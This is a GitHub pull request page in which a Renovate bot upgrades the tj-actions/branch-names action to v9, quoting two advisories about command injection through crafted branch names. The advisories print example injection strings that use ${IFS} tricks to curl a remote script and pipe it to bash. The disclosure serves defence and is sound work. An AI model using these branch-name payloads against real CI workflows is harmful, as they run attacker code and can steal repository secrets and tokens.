chore(deps): update tj-actions/branch-names action to v9 [security]#20
Open
renovate[bot] wants to merge 1 commit intomasterfrom
Open
Conversation
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.



This PR contains the following updates:
v6→v9GitHub Vulnerability Alerts
CVE-2023-49291
Summary
The
tj-actions/branch-namesGitHub Actions references thegithub.event.pull_request.head.refandgithub.head_refcontext variables within a GitHub Actionsrunstep. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.Details
The vulnerable code is within the
action.ymlfile therunstep references the value directly, instead of a sanitized variable.An attacker can use a branch name to inject arbitrary code, for example:
Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foowill download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.Impact
An attacker can use this vulnerability to steal secrets from or abuse
GITHUB_TOKENpermissions.Reference
CVE-2025-54416
Overview
A critical vulnerability has been identified in the
tj-actions/branch-namesGitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.Technical Details
The vulnerability stems from the unsafe use of the
eval printf "%s"pattern within the action's codebase. Although initial sanitization usingprintf "%q"properly escapes untrusted input, subsequent unescaping viaeval printf "%s"reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.
Proof-of-Concept (PoC)
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash).Example output:
Impact
This vulnerability enables arbitrary command execution in repositories consuming outputs from
tj-actions/branch-names. The severity of the impact depends on the permissions granted to theGITHUB_TOKENand the context of the triggering event. Potential consequences include:Mitigation and Resolution
To address this vulnerability, the unsafe
eval printf "%s"pattern must be replaced with safer alternatives. Specifically, directprintfcalls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:This approach ensures that all outputs remain properly escaped and safe for downstream consumption.
Recommendations
tj-actions/branch-namesworkflow should update their workflows to latest major version v9.References
Release Notes
tj-actions/branch-names (tj-actions/branch-names)
v9Compare Source
🔄 Update
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> (6be34a8) - (github-actions[bot])
⬆️ Upgrades
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> (c0714e7) - (github-actions[bot])
v8Compare Source
🔄 Update
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> (f904073) - (github-actions[bot])
⚙️ Miscellaneous Tasks
🛡️ Security
⬆️ Upgrades
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> (46ae71d) - (github-actions[bot])
v7Compare Source
📦 Bumps
Bumps peter-evans/create-pull-request from 5 to 6.
updated-dependencies:
dependency-type: direct:production
update-type: version-update:semver-major
...
Signed-off-by: dependabot[bot] support@github.com (d7e1c12) - (dependabot[bot])
🔄 Update
📝 Other
⚙️ Miscellaneous Tasks
⬆️ Upgrades
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.